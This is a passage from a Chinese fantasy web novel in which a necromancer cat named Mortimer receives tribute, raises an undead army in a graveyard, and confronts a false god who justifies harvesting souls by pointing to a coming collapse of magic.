我们回去稍作准备,来日上门。” “以及关于‘神’的事,如果有任何进展, 我也会向您汇报进度。” 说完,伊夫林领着柯杰,以及身后一堆同样精神振奋,眼神坚定得像是要上战场般的魔法生物们,退出了莫特默的废弃工地。 他们都知道,一旦他们将这个消息带回族内,来竞争进入这里的魔选中,也会从只是单纯想照顾幼崽中的那一拨魔法生物中加入另一大波痴迷研究魔法,追寻力量,探寻古代历史的类型。 虽然莫特默说这里住得下,但就这个废弃工地的规格,他们是不可能举族搬过来,也就是从族内挑选一定的合适人选前来。 这场竞争将会前所未有的激烈…… 而他,必要成为其中一员!每个魔法生物在脑海中如此想道。 …… 几天后,平常的一天,莫特默感到结界传来波动。 哦!是伊夫林他们上门了吧? 莫特默想着,脚下轻快地跃出大楼,小跑向门口。 可随着离大门越近,莫特默的脚步渐渐慢下来:“欢……迎?” 他蹲坐在离大门有一米远的地方,吃惊地仰起头。 只见站在大门口的伊夫林,手中竟还拎着个长长的清单,见到莫特默以及随后走出的个个死灵来了,还行了个礼: “维萨罗斯陛下,以及莫特默殿下……” 这称呼听得莫特默稀奇又通体舒泰,心中有了猜测但还是明知故问,朝伊夫林手中的清单问道:“这是什么?” 伊夫林笑答:“这是各族送给殿下您的礼物。” 莫特默闻言上半身直起,单靠后脚站立,像是人类般直立起来,探头想要看清清单上有什么:“那他们都送了我什么?” “太多了,”伊夫林主动弯下腰,展开手中的清单,方便莫特默看清,“请让我按数量多寡的顺序来说吧,最多的是龙族,他们送来了30公斤黄金,10公斤秘银,红蓝宝石1箱,祖母绿一箱,一把受过祝福的宝剑,永不空杯的角杯……” 他一口气念着长长的礼单,他一边念,莫特默就一边小幅度地晃着尾巴尖,等站累了就重新蹲下来,可那白色的尾巴尖依旧难掩愉悦地摇摆着。 莫特默身后的死灵们也静静地听着,脸上的表情看不出来是满意还是不满意,但既然都没有出声,那应该就是满意的。 渐渐地,伊夫林也快把礼单念到底了,最后他将礼单规整地折起来,笑着说道:“另外,各族还送了些侍从来。” 他轻描淡写道:“毕竟陛下和殿下都在这,总要有些伺候你们的。” “你是说……”莫特默缓缓扭头,看向门外那些存在感鲜明的家伙, “他们?” 结界外,各族的来人像是列队般规整地站在那,粗略一看,总共竟有近百人。 除了那些一看就平时德高望重,辈分较大的领头人外,全是一些容貌较好的男男女女。 注意到莫特默的视线,队列中有些年轻的还抬头朝莫特默笑了一笑,一个同样头顶猫耳的兽人抖了下耳朵,朝莫特默缓慢地wink了一下,释放出明显的友好信号。 吼——莫特默情不自禁身体后仰了一点。 “他们都是自愿报名的,不仅可以照顾伺候你的起居,做您的仆从,还能充当您随从,护卫,臣子,逗趣的玩伴,讲睡前故事的说书者……什么都可以。” “当然,”伊夫林慢条斯理地补充道,“莫特默殿下你自可以只挑选你看得上眼的。” 这……这难道就是属于封建统治的腐败与堕落! 莫特默深沉地想,虽然嘴巴上说说,也在亥伯龙的梦境中过了一把瘾,但没想到真有一天他要在现实中当上小皇帝了! 竟然拿这个来考验干部?他是那种会毫无压力地让只见了一面的陌生家伙来伺候自己的猫吗? ——他当然是! 猫生来就是来享福的,1个仆人不嫌少,100个仆人不嫌多。 莫特默刚要笑纳,笑纳,统统笑纳,一道声音倏地开口拒绝道:“不用。” 亥伯龙面色沉静,语气波澜不惊,但他说的话在其他人耳中可不平淡:“用不上。” “这些事本就是我在干,逗趣的更有那蠢狼,至于哄睡……” “莫特默晚上都和我睡在一起。”他一脸风轻云淡地说,“自然也不需要哄他睡的家伙。” 众人:…… 站在门口的魔法生物们通通露出“这家伙在说什么啊?”的震撼眼神。 竟然在光天化日之下说出这等淫/秽之语……哦等等,是龙族啊,那没事了。 不过知道的清楚亥伯龙是龙王,不知道的还以为说话的是……(咳) 但说这话的竟是亥伯龙? 魔法生物们的脸色渐渐变得凝重起来。 老房子着火,铁树开花吗,但…… 你是说你和谁睡?! 他们的目光犹如有实质般落在小小的,乍一看和幼崽没什么区别的莫特默身上。 莫特默眼眸干净地抬头,回了一个困惑又纯洁的眼神:? 顷刻间,他们的眼神都变得愤懑,唾弃和深以为耻。 禽兽啊!龙族啊! 此刻,他们对他族王者的尊重如奶油般化开(虽然本来也并没有多少)。 而龙族的龙裔却纷纷露出恍然的眼神,看向莫特默的目光也悄然变为看自己人的眼神,有些还顺道给亥伯龙递了一个欣慰和“原来你的XP是这个”的恍然大悟的眼神。 亥伯龙眉心微微一跳,总觉得自己的风评好像又莫名坏起来了,但总归达成了他的目的,他也就无所谓地移开视线。 伊夫林瞳孔震动,目光在亥伯龙和莫特默之间来回高速移动,他对着莫特默欲言又止,忍了好半天才将喉咙口的话咽下去,换了一个话题道: “关于‘神’的那件事,我们已经找到他的信徒的大本营,派遣了小队将其全部缉拿,马上就能……” “嗡嗡~”他口袋中的手机同一时间振动起来。 伊夫林一愣,他的手机已经被他设置成了非紧急通知不会振动的模式,那现在……? “失礼。”他掏出手机接通电话,电话那头传来的声音很快让他面色一变。 电话很快挂断,伊夫林阖了阖眼,似乎有些为难,但还是开了口。 “非常抱歉,行动出了一点差错,对方奇怪地似乎早有准备,派去的小队受到重创,请允许我先离开一下。”他压低了声音,语速飞快,面色有点难看地说。 站在他身后的魔法生物们不约而同地投来视线,透出些微吃惊和担忧。 莫特默一直摇摆的尾巴尖停下,他注视着伊夫林,忽地勾起嘴角,像是偷腥般轻哼了一声。 接着,他装模作样地抖了抖毛,威风凛凛地站起: “看来,还是要我出马!” 伊夫林蓦然微怔,没料到莫特默是这个反应。 此事本是他一口应下,信誓旦旦地担保会将那个“神”解决,却在要与莫特默汇报成果的时候恰时掉了链子,说他一句办事不力都是轻的,可莫特默的第一反应却是此事交给他来解决。 一时间,伊夫林的面上有些发热,心中五味杂陈。 “依靠我你无需受挫!”莫特默神采奕奕地说,“因为我是未来有可能成为最厉害……” 亥伯龙打断莫特默的吟唱:“走吧,战场可不等人。” 伊夫林赶忙感激地应了一声,发现出声的是亥伯龙后,心中的情绪更是复杂。 莫特默被打断了要说的话,嘟囔了一声也没有计较,从地上蹦起,跳到半空被亥伯龙默契地一把接住,举托到肩上。 而伊夫林转身打开一个可以穿梭的“门”:“实在是抱歉,以我的能力只能带一个,最多两个过去,我这就让其他梦魇帮忙一起……” 话还没说完,就听身后传来一声“唔?” 伊夫林条件反射地回头,就见一个与他打开的空间相似又截然不同的“门”已稳稳地立在他身后。 并且,与伊夫林打开的那个像是一扇小门般的大小的空间相比,这个就像是一面巨大的落地窗,面前齐刷刷肩并肩站5个都绰绰有余。 这是……!! “哎呀,我是不是动作有些快了?”维萨罗斯慢了一拍,语气疑惑,做作又轻飘飘地说。 在伊夫林划开空间后,维萨罗斯眯着眼,只看了一眼,就抬手在空气中一弹,面前的空间便凭空如镜子般碎裂开,露出其后像是打翻了的颜料,白色紫色黑色全部扭曲地互相混合在一起,又彼此之间格格不入般的颜色。 亥伯龙,阿利斯,塞拉菲涅,瑟兰迪尔没一个理他的,活灵活现地表演了什么叫作该配合你表演的我视而不见, 一个个无视了维萨罗斯,无动于衷地越过对方进入那片诡异的空间。 穿过那扇“门”,眼前的光线瞬间变得微弱起来,风吹着血腥气往鼻子里钻,连带着,还有一种说不上来的腐朽的味道。 “哇!”莫特默感叹地环视周围骤变的环境。 灰白色的雾气贴着地面匍匐前行,与X市的白天不同,此时此地正是逢魔时刻的傍晚,西边最后一抹暗红色的余晖像溃烂的伤口般贴在枯树的枝丫间,瘀青般青紫色的天空压着地面,不远处松柏修剪成古怪的形状,在暮色里扭曲成向上攀爬的人形,但最引人注目的,还是脚边的墓碑。 那些墓碑排列得很不齐整,有的歪斜着,像是被什么从地上顶起,有的半截没入土里,只露出青苔覆盖的尖角,还有的干脆倒伏在地,碑面朝下。 而不远处,雾气间似乎有影影绰绰的白色身影在活动,而那些血腥味和腐朽的味道正是从那里传来。 这里,竟是一座墓园。 伊夫林脸色严峻,恭敬道:“吾王,请您……” “诶?”莫特默忙打断,“不是说好了由我来的吗?” 伊夫林:? “你、您……?” “当然!” 这里,可是墓园诶! 而远处活动的白色身影,他不用仔细看就知道那是骷髅兵! 但在他面前操纵骷髅兵? 莫特默一只眼睛假装无辜地圆睁,另一只眼睛却半眯成一条缝,虹膜里流转着像是挑衅又像是算计般的精光。 话说,他好像来到这里后,除了召唤亥伯龙他们,再没有用过什么其他的死灵魔法了? 不会有人认为死灵魔法就只有通过媒介来和死灵达成契约这一种吧? 不巧,其他的他其实也很擅长哦。 “桀桀桀。”莫特默情不自禁发出反派的笑声, “是时候让那个什么神的信徒见识一下,什么才是真正的死灵魔法了!” 也是时候让他们知道,谁才是真正的黑恶势力! 墓园中,小小的奶牛猫在恶龙的肩头上奸笑着,嘴角朝一边歪起,露出其下邪恶的小尖牙。 第58章 真……正的死灵魔法? 莫特默想做什么? 伊夫林怔怔地想着, 冥冥中某种预感的逼近让他下意识保持了敬畏的缄默。 莫特默趴在亥伯龙肩上,朝前方伸出一只前爪。 他举着爪,清了清嗓子,语气愉快中又夹杂着严肃: “宣告——!” 他的面前明明空无一人, 他却表现得像是正在和什么人对话般。 不, 不是没有人…… 一层鸡皮疙瘩在伊夫林裹在得体衣物下的皮肤上泛起。 他能感到有什么在莫特默开口后齐齐将视线投了过来, 在注视他们、注视着这里! 不知从何来的视线将他们包围, 好像有无数双眼睛带着细微的恶意从四面八方看来。 “尘归尘,土归土, 然徘徊者不甘归于虚无。沉眠于地下的不息者, 我以我莫特默的名义, 呼唤愿意重返人间的灵魂, 愿意战斗的灵魂,愿意协助于我的灵魂, 呼唤你们自安息中醒来。” 属于莫特默的清脆声音回荡在薄雾环绕的墓园中, 莫名变得空灵, 声音中原本令人心生怜爱的天真感更是为其添了一份让人心生不适和恐惧的违和。 “聆听我的声音, 来吧, 穿过腐朽,穿过遗忘, 穿过生与死之间那层薄薄的帷幕。” “然后, 来到我的身边。” 寂静。 墓园倏地安静下来, 安静得连风刮过枝头的声音都消失不见。 但这片安静不会让人感到安心,只会觉得诡谲, 好似有什么东西捂住了他们的耳朵,又好似是什么将墓园内的一切都变为了老式的黑白默片,一双大手为这座墓园强制按下了静音键。 一秒后, 伊夫林骇然地望向脚下细细震动的湿润泥土,这是…难道…不…… 他的大脑罕见地一片混乱,破碎的词组不成语句,只能茫然地听到这墓园中唯一剩下的声音命令道: “起来。” 伊夫林脚下的震动感再也不能被勉强解释为是一种错觉。 一只手掌破土而出,然后是第二个,第三个…… 死而复生的亵渎者们接二连三地从他们自己的墓穴中爬出,摇摇晃晃地起身,像是士兵听从将军的指令,像是子民服从君王的谕令,恭敬又乖顺地站在原地。 伊夫林眼神难以置信地环视四周,忘了呼吸。 风带来泥土的气息,密密麻麻,数以百计甚至数以千计的死者站在他们周围,将他们淹没。 这哪里是召唤死灵,分明就是凭空拉起了一支大军。 而且作为对魔力敏感的梦魇,是其中佼佼者的他自然能看出附着在这些亡者身上的魔力波动,而这代表着,对方甚至能使用一定程度上的魔法。 这些哪是骷髅兵……分明是传说中的尸妖! 伊夫林难以自控地大脑一阵眩晕。 只是一段咒语,就召唤出了死灵大军,还将他们都转化为了尸妖? 这、这就是……死灵魔法? 同样见证了这一幕的其他人倒没有像伊夫林那么失态。 “咻~”阿利斯泰尔吹了一声口哨,脸上满是惊叹的意味。 亥伯龙也发出一声像是与有荣焉,又像是觉得此般理所应当的哼笑。 塞拉菲涅则两眼放光,她盯着面前的尸妖们,像是想到了什么勉强露出满意的神情。 而造成了这一切的莫特默慢条斯理地收回爪,顺势舔了舔自己白色的爪尖。 梳理完后,莫特默才重新抬起头,看向被他召唤出来的尸妖们。 瑟兰迪尔收回自己审视凝重的眼神,转而看向莫特默,已经意识到了莫特默的下一步。 维萨罗斯也嘴角弯起,勾起一抹略带兴奋的笑容。 在所有或明目张胆或隐晦的视线中,莫特默语气平和: “去吧。” 话音落下,大地剧烈地震动起来! 数百数千名尸妖全部朝前方,朝着那些神的信徒所在之地冲去,齐整的脚步踏在地上,土地隆隆作响,像是大地在嘶吼。 无数尸妖掠过伊夫林的身旁涌向前方,俯瞰整个墓园,白潮漫过山丘,在川流的尸群中,只有莫特默一行人像是河中的石子般站在原地一动不动。 伊夫林的心脏随着大地的怒吼剧烈跳动着,他想到了百年前,在魔法生物们还在进行着战争的时候,连在那时的战场上,他也从没有见过像眼前这样的,悍不畏死,一往无前,令行禁止的军队。 他身体不自觉地微微颤抖,回想起在睡前恐怖故事里,关于死灵法师的传说。 死灵法师麾下的不死者们从自己的尸棺中复苏,即便破损,即便被“杀死”也将会一遍一遍地重新站起,为他们的主人带来胜利,带来死亡,带来更多的同胞,直至……淹没眼前的一切。 故事中的剪影在眼前化作现实,伊夫林恍惚地望向远方,眼神直直穿过面前川流的大军。 “这就是……” 震撼的呢喃被大地的声音吞噬。 “亡灵天灾。” 隐约有碰撞声和受惊的惊叫从远处传来,激起几只飞过天空的乌鸦,伊夫林知道,那是敌人的哀嚎。 死灵法师作为故事中的阴影和现实中的敌人都足够可怕,足以让任何人胆战心惊,严阵以待,但如果是作为友军的话……是前所未有的安心啊! 他心悦诚服地对莫特默微微低下头:“多谢您,这下就能将所有的伪神信徒一网打尽了。” “不是还有那个‘神’吗?”莫特默看着远处满山丘的不死族们,像是在看漫展上拥挤的人一样寻常,“我们都要在他的大本营把他的信徒全部抓走,相当于在他脸上当面挑衅,他总不会还当缩头乌龟吧?” “不,”伊夫林愣了一下后微微笑开,和莫特默一样轻松地说,“行动中就是因为有意料之外的‘神’出现了,所以行动组才会受到重创。” “那还说什么!”莫特默立马兴致勃勃得像是在春游,“走走走!” 他们顺着尸妖的步伐朝墓园深处前进,随着声音在耳边愈发清晰响亮,一座矗立在薄雾中的教堂也显露在莫特默一行人的眼前。 “就是这里。”伊夫林眼神飞快地扫过那栋建筑,轻声说。 没等伊夫林介绍其中的情况,莫特默已经迫不及待地指挥亥伯龙载着他一脚跨进了那间门扉敞开的教堂。 失重感。 在跨进教堂的同一时间,失重感一同传来。 莫特默猝不及防地从半空中垂直下落,又本能地调整身子,成功轻盈地平稳落地。 他吃惊地回头,身后的墓园竟变为一眼可以望到底的教堂内环境,连排的椅子整齐地排列,光滑的瓷砖地板反射出莫特默和高耸穹顶的倒影,视线尽头,教堂的大门牢牢闭合着。 原本在他身下的亥伯龙和跟在他屁股后面的众人也一个不见,只有他一个进入了这间教堂。 是结界? 刚想着,莫特默听到前方传来一阵细碎的动静。 他转过头,就见一个站在讲道台后的人不紧不慢地转过身。 那“人”面容庄严,眼中不似想象中有的冰冷或虚假的慈悲,而是充满了人性化的情绪,他站在这座基督教风格的教堂,比起耶稣或天使,反倒更像是希腊神话中喜怒无常的神明。 他面色不怒而威,直直地看着莫特默,声音响起时似乎与教堂内的结构形成了共振,每一个音节都携带着重量:“为什么要阻碍我?” 莫特默左右看了看,疑惑:“你在问我?” 他好笑地说:“在最开始做下那些事后,就要做好被受害者报复回来的准备吧?” “我不是你的阻碍,你也不应该是我的阻碍才对。”伪神自顾自地说, “我只是想活下去,一个卑微的求生者也值得你专门与其作对吗?” 莫特默露出不认可的眼神,指认道:“你的所作所为可不像是只想活下去。” 好不容易从亥伯龙他们手中逃过一劫,不乖乖龟缩起来,反倒在现代搅风搅雨,培养信徒,这叫“只想活下去”? “但如果我说,如果我不这么做,就会死亡呢?”伪神说。 “相信你已经听说了,我是从千年前延续至今的种族,那你有没有对此产生过一丝丝疑惑——为什么只有我这个种族延续了下来?” “为什么其他魔法生物们的历史只有至多百年,再往前,就是一片空白?” 声音像惊雷一样在教堂内炸响。 “这是因为他们都死了!!” “魔力、魔力、魔力。” “没有了魔力,我们就是离水的鱼,只能一点点绝望地死去。” “我的种族,实际不止1000年的历史。” “几千年前,大陆上种族繁盛,强大的霸主横扫大陆,没有文明的火花,没有种族的概念,只有弱肉强食,而我的祖先只是其中不为人知,底层的食物之一。” “直到一次没有人预料到的剧变。” “一夕之间,空气中的魔力含量锐减至原先的十分之一,先是那些强盛的霸主们,然后是中间的捕食者们,最后的底层的食物们,全部一一在魔力匮乏下死去。” “我的祖先自然也不能免俗,但可能是因为过于弱小,他竟通过自身的天赋侥幸逃过一劫,并在漫长的时间中适应了空气中新的魔力浓度,下一个纪元睁开了眼。” “在这个纪元中,那些昔日的霸主不见踪影,只有还依稀有着那些霸主影子,但身形严重缩水,实力更是天差地别的种族在大陆上活动,那时,虽然魔力的浓度不及以往,但依旧是个所有人都能对魔法如指臂使的时代,也在这时,文明诞生了,众人开始对魔法进行探索。” “但好景不长,我的祖先很快感知到空气中的魔力在隐隐衰退。其他人不知道,只道是平常,但我的祖先知道……” “第二次大寂灭,要来了。” “于是我的祖先早有准备,开始竭尽全力地储存魔力,并在大寂灭的时间节点到来前提前一步进入假死状态,减少魔力的消耗。” “虽然不知道第二次大寂灭为什么像第一次那般一夕之间魔力浓度骤变,而是缓慢的,一点一点地降低浓度,让大量种族中的部分弱小族人得以适应,将血脉延续到了下一纪元,但我的祖先凭借着先见之明,又活到了下一个纪元。” “而现在……” 伪神直视莫特默,语气沉重, “第三次大寂灭就要来了。” “到那时,空气中本就稀薄的魔力会再一次下降,甚至彻底没了魔力的存在。不只是我,所有的魔法生物们都会在这一次大寂灭中悄无声息地死去,什么都留不下。” “早在百年前,我的同胞们就预见了这个未来,所以他们发动战争,借此获得灵魂,获得可以让他们活到下一个纪元的魔力。” “而我呢?!他们发动了战争!我只是让人类自愿为我献上了零星灵魂而已,不仅如此,作为交换,我还教授他们魔法,给予了他们成为魔法师的权利。” “至于人类做的那些,杀害同类也好,捕捉魔法生物也罢,都是出自他们本身的意愿,如果不是为了自己心中的贪欲,他们完全可以不信奉我,不向我献祭灵魂。” “这是人类的罪,与我何干?” “所以,”伪神诚恳地对莫特默说,“你明白了吗?我们根本不是敌人。” “我只将你带进结界,也只是想和你说清楚罢了。” “如果你是为了亥伯龙的话,他们已经将我的同胞都屠戮殆尽,连这也不能让他们放下仇恨吗。”他叹息。 “而且如果说我的同胞们一直在对其进行压迫和剥削属是过于苛责和夸大其词了,他们在接受信奉的时候难道就没有提供庇护吗?在发动战争的时候,获胜的种族又难道没有因此获得好处吗?” “我们可不是冷血无情,活吞人的怪物。” “莫特默,希望我们能……” 他沉浸在自己的情绪中,意犹未尽地看向……正全心全意,专心致志给自己挠痒的莫特默。 “唔?”莫特默像是开小差不小心被发现了般,不引人注意地慢慢放下挠着耳后的后腿,假装自己有在很认真听,“呃呃……吞人吞人,怪物怪物……” 伪神:…… “……”莫特默试探道,“说错了?” 伪神脸上的表情渐渐淡下来,最终变成面无表情:“即便如此,即便我只是想活下去,你也要执意与我为敌吗?” “噗嗤。”莫特默忍不住笑出了声。 伪神:“你笑什么。” 莫特默嘴边的笑意还没消下去,嫌弃地说:“说这么多,不过就是怕死嘛。” 伪神冷冷道:“我想活下去就这么可笑吗?” “不,想活当然不可笑。”莫特默理了理自己的胡须,正色道,“但说什么只是交易,都是人类干的,自己又不是怪物……” “不过是你在倒果为因,推卸责任,给自己找借口嘛!”说着,他又忍不住再一次笑了出来, “真是一个自私自利,擅长道德脱敏,喜欢胡言乱语又傲慢的‘神’啊!” “你的祖先在发现第二次魔力衰退时,没有告诉其他人一起来想办法解决问题,或是提醒其他人以便一同做好准备,而是偷偷利用先知的机会保存实力,并成功在下一个纪元成为强大的‘神’。多么‘聪明’又机会主义呀。” “而你,你说你的同胞们都发动了战争,而你只是提供交易的拉踩,这不正是五十步笑百步?” “你将一切都归咎于人类的说法更是虚伪又傲慢得彻彻底底。” “是你告诉了人类可以通过杀害他者从你那换取力量,是你诱惑人类成为魔法师,更是你教给了人类死灵魔法,你所做的一切都是在引诱他们向你献祭,现在你说,这都是因为人类本性贪婪,与你无关?” “至于亥伯龙……我不否认追杀你有亥伯龙作为原因之一,但既然你认为你其实没什么对不起他们的,又何须弱化自己的行为?而且谁又说我可以代替亥伯龙原谅你?所以这也不过是一种惺惺作态和针对我的诡辩。” “就像现在你对我说那么多,也不是你真心认为你错了,或没错,而是因为……” 莫特默笑着,轻轻的音节敲击在光滑的地板上, “你、怕、我。” “对吧?” 第59章 “高高在上的‘神’也会怕一只小猫咪吗?” 莫特默踱步不疾不徐地朝伪神走去, 似是单纯的疑惑又似是觉得有意思般说。 “可笑!”伪神威严的面容微微抽搐了一下,“你将我的诚意理解为对你的惧怕?!” “你只身在我的结界内,没有任何一个作为你后盾的死灵在这,你却在说我在怕你?” “所以说, ”莫特默说, “你只将我一个拉进结界, 也不是想和我说清楚, 而是为了让我孤立无援。” 伪神冷笑不语,一副和莫特默说不通的模样。 “但你可能有一点搞错了。”莫特默也不在乎, 继续朝伪神的方向靠近, 然后在距离对方1米左右站定。 他站在教堂的瓷砖地上, 伪神站在台阶上的讲道台后, 莫特默就这么仰头看着面前的‘神’,说: “即使被你拉进结界, 我也从来不是只身一个。” 巨响! 话音落下的瞬间, 一声巨响狠狠砸在伪神和莫特默的耳膜上! 不仅如此, 整座教堂好似地动山摇, 剧烈地震动了一下。 伪神扶住身前的讲道台, 难掩愕然地抬头,看向窗外, 接着他像是看到了什么难以置信的东西, 瞳孔微微张大。 很快, 第二声巨响响起,好似有什么庞大的怪物在狠狠撞击教堂。 莫特默却像是早就预料到了般, 稳稳地站在原地,视线没有任何偏移,笑嘻嘻地说:“奇怪, 你没有听说过亥伯龙曾将精灵族的结界撞出了个洞的趣事吗?” “你又怎么会认为只是一个结界就能将其他人全部与我隔离?” “不过,要是这次亥伯龙又不小心卡在结界上……”莫特默猖狂地露出上下的小尖牙,眼睛都笑得眯成线,“我也要狠狠嘲笑他!喵哈哈哈。” 在一声又一声的撞击声中,伪神游刃有余的表情终于绷不住了。 莫特默雪上加霜:“算算时间,伊夫林他们应该已经将所有的你的信徒都抓捕好了吧。” “你也准备好和他们一样束手就擒吧~”他好心地说。 “也多亏你看不上眼的信徒,我们才能找到你的位置。”他想起柯杰,又补刀了一句。 “……”伪神在沉默了几秒后,眼神蓦然变得阴鸷,声音也冰冷了下去, “有一群不中用的信徒真是心累,人类不光头脑简单,灵魂中蕴含的魔力匮乏,没有丝毫的忠诚,还会被轻易被下等的魔法所击败。” 哦?这是彻底不装了?先前还说他只是给人类提供了交易,和他们毫无关系呢。而且,伪神能活到现在,积攒魔力,都是靠着他的那些人类信徒吧? 莫特默晃了晃尾巴尖:“你到底将人类看作了什么啊?” “当然是随我取用的家畜,随手就能捏死的臭虫。”伪神笑着说,言辞却恶毒辛辣到极致。 “他们都是一群没用的垃圾。” “但你不一样,莫特默。”他第一次称呼莫特默的名字,看向莫特默的眼神竟也诡异的温和。 “你不会知道我在发现你时有多么惊喜。” “在这个魔力衰落的时代,你竟然能大肆召唤古代死灵,并且在承受了数位死灵后,还有余力去挥霍你的魔力,你知道这意味着什么吗?” “这意味着……” 他一手撑着讲道台,身子大幅度地俯身前倾,眼珠子夸张地鼓起,直勾勾地看向莫特默,声音逐渐由沉稳变为尖细: “只要拥有你的灵魂,我就能活下去!!!” 语毕,那张庄严的面容瞬间瘪下去,连带着身体都缩成一整张人皮, 一个眼睛硕大占据头部三分之一,但几乎全部眼珠都是眼白,只有中心针扎般的一点是瞳孔,而身体像是一个圆锥形气球,头部肥大,尾部细长,身上通体黑色,但有着橙白红色细小斑点花纹的不知名生物从人皮的口鼻中钻出,直直地冲向莫特默。 “轰隆——!” 撞击声震耳欲聋。 尘土四溅,一块碎石摇摇欲坠地从碎裂的墙壁上掉落,掉在下方……红色的庞大龙首上。 红龙的暗金色的竖状瞳孔上的白色瞬膜条件反射般地闭合了一下,躲开飞溅的碎石。 呼呼的风刮起地上的灰尘,也刮起莫特默身上柔软的毛。 教堂的上方赫然破了一个大洞,一头狰狞的红龙伸长了脖子探进来,那条鳞片微微起伏的脖子正横在莫特默面前,散发着热度,他只要一伸爪,就能将肉垫按在那红色鳞片上暖手。 庞大的龙头微微一动,直起了一点,莫特默也就因此能看清被他咬在嘴中,不停扭曲抽搐挣扎的伪神。 伪神发出刺耳的尖啸,那噪音像是一种尖锐的,持续的蜂鸣声。 就在刚才,在伪神冲向莫特默的千钧一发之际,亥伯龙成功撞破了结界,借着撞进来的惯性,一口将伪神拦腰咬住,撞向教堂的另一侧。 不差一分,不差一秒,正正好在伪神都冲到莫特默脸前时,将他猛地撞开。 也可能正因为如此,伪神都忘了对亥伯龙等人的恐惧,在亥伯龙的利齿间破防地叫骂着。 利齿下陷,伪神顿时发出一声像是被放了气的气球般诡异又痛苦的声音,然后像是这才猛然反应过来现在是什么情况,死了般垂下来,破布似地挂在利齿间。 而那本想狠狠咬下,杀死嘴中生物的利齿忽又顿住,亥伯龙似是迟疑了一两秒,然后龙头微微下降,降到莫特默的高度,将那装死的伪神放到莫特默眼前,示意莫特默来作决定。 “哇!快来看,快来看!亥伯龙他竟然会将猎物拱手让人!”一个声音从上方传来,震惊地惊呼道。 就在亥伯龙撞出的那个洞旁,探出一个白色的脑袋。 阿利斯泰尔刚跳上教堂顶,想沿着亥伯龙撞出的洞进入结界,就见到亥伯龙将“猎物”递给莫特默的这一幕,顿时大呼小叫起来。 亥伯龙可是出了名的独断专行与霸道自我,这样的他竟然会在抓住猎物后没有第一时间将其杀死,而是先询问莫特默? 不过,其实之前亥伯龙默认他们一起跟来时他已经暗自吃惊过了。 要知道,在他们那个年代,即便是作为盟友的海妖族,亥伯龙也不会选择和他们一起合作迎敌,向来是独自一个在战场开无双,就连决定要杀死神的时候,也是一个对战多个神,他们赶来帮忙都被嫌弃碍事,要赶他们走去杀其他的。 而在莫特默表示要来时,亥伯龙跟着莫特默就算了,竟然没有对他们说什么“滚”“只要我一个就行”“只有弱者才需要合作”这类讨嫌的话,不让他们来? 而现在,抓住了最后剩下的那个“神”后,竟然也没第一时间将其杀死,而是等待他人的意见? 亥伯龙啊亥伯龙,我都要不认识你了! 阿利斯泰尔啧啧称奇地从教堂的破洞处一跃而下,紧接着是其他死灵,短短一会儿,所有死灵就重新在莫特默身旁聚集。 亥伯龙龙瞳上白色的瞬膜又开合了一下,看着就像是朝阿利斯不屑又无语地翻了一个白眼,但也没说什么,当然,也有可能是因为嘴中有东西,堵住了他的话。 维萨罗斯捏着下巴,像是手术刀般充满研究意味的视线穿过圆形镜片:“之前的那些杀死了也依旧保持着人形,神的真身原来是这样的吗?我还是第一次见到这样的生物呢。” “真恶心。”塞拉菲涅直言不讳。 莫特默细细瞧去,也不由被其奇怪的模样辣了一下眼睛。 瑟兰迪尔神情悲悯,站在教堂内活脱脱一个圣子降临,毫无违和感地融入环境,完美的面容似乎都染上了几分圣洁,然后…… 他二话不说一脚狠狠踩住伪神垂在地上的尾巴尖,还碾了碾。 “好久不见,怎么再一次见面,这么垃了?你**倒是接着装啊,你的信徒都在外面看着呢,让他们看看,原来神也会跟条**一样趴着。”他用悲天悯人的语气温声细语地说。 伪神吃痛地弯起身体,也无法继续装死下去了,他知道这些人中唯一能做主的人是谁,忙不迭对莫特默道:“听着,听着,我之前对你说的话虽然有些偏向,但没有说谎!” “我错了,我可以为我之前做的所有事情赎罪,但大寂灭真的要来了,我们可以合作,我可以分享我经历过的大寂灭的情报,来一起研究怎么解决这件事,不然的话你也是知道的,所有魔法生物都会死!” “我之后也不会再用收集灵魂的方式来储存魔力,以此来躲过大寂灭,相反,我会竭尽全力帮助你们进行研究,就算只是为了我自己,为了活下去,我也一定会毫无保留!” 他急切地希望说服莫特默,语气甚至带上了哀求, “只要你放过我……” 莫特默琢磨了一下。 那个所谓的大寂灭是一个问题,他自是要解决的,但怎么解决是个问题,在他的时代,他从没有关注过这个问题,而现代的魔法生物们甚至只知道魔力在持续衰退,不知道有大寂灭的存在,或者说,经历过大寂灭的,除了“伪神”外都死了,自然无法将此事流传下来。 而他也相信不只是“伪神”,当初也一定有人发现了大寂灭,并选择了和“伪神”们不同的道路,只是没能彻底成功,但这些前人的经验也只有眼中这个老不死的“伪神”知道。 这么说来,先让伪神像个劳改犯一样为他们工作是最好的方案。 见莫特默的表情似有意动,伪神硕大的眼睛泛出欣喜的光来,连忙保证:“我一定以后老实做魔,重新做魔,对、对了,如果你不放心,我们甚至可以签订契约!” “听起来似乎不错。”莫特默若有所思道。 伪神连连点头,欣喜若狂:“那我们——” “但是我拒绝!”莫特默将话说完,语气斩钉截铁。 伪神:“嘎?” 他流露出不敢置信与困惑交织眼神,不理解莫特默怎么刚说好就变卦。 他的提议有哪一点不如莫特默的意?这不全是对莫特默那方的好处吗?! “因为我莫特默,” 莫特默轻哼了一声,抬起下巴对伪神露出藐视的眼神, “最喜欢对你这种自以为是的人说NO!!” 伪神:!!! 他忍不住尖啸:“就因为这种儿戏的理由?!” “没错。” 莫特默理直气壮地高声说,雪白的胡须随着他张合的嘴一翘一翘,仿佛他刚刚发表的不是一句蛮不讲理的宣言,而是宇宙间最不容置疑的真理。 “虽然你说的那些我一个字不信,但这就是最主要的理由!” 伪神气得浑身发抖:“你、你——!!” “硬要说的话,其实还有一个。”莫特默像是想起了什么,补充道。 他抬起视线,越过伪神,与亥伯龙目光相接。 亥伯龙静静地伏在那,巨大的龙头几乎占据了半边废墟,鳞片在幽暗的光线下泛着幽深的光泽,但当莫特默的目光投过来时,那双竖瞳错觉般亮了一下。 莫特默忽地莞尔,脸上露出一个堪称狡黠的笑:“龙你曾说,生前唯一的遗憾,是没能在死前亲眼见到最后一个敌人咽气的模样吧?” 亥伯龙微微一怔。 那是很早之前的事了,是他跟莫特默刚认识时,随口提起的话。 那时的莫特默满脑子都是赚钱,亥伯龙以为莫特默不会记得这句话的。 但莫特默记得。 不仅记得,还要在今天实现。 少顷,巨大的龙嘴忍不住咧开,露出其下参差错落的狰狞利齿。 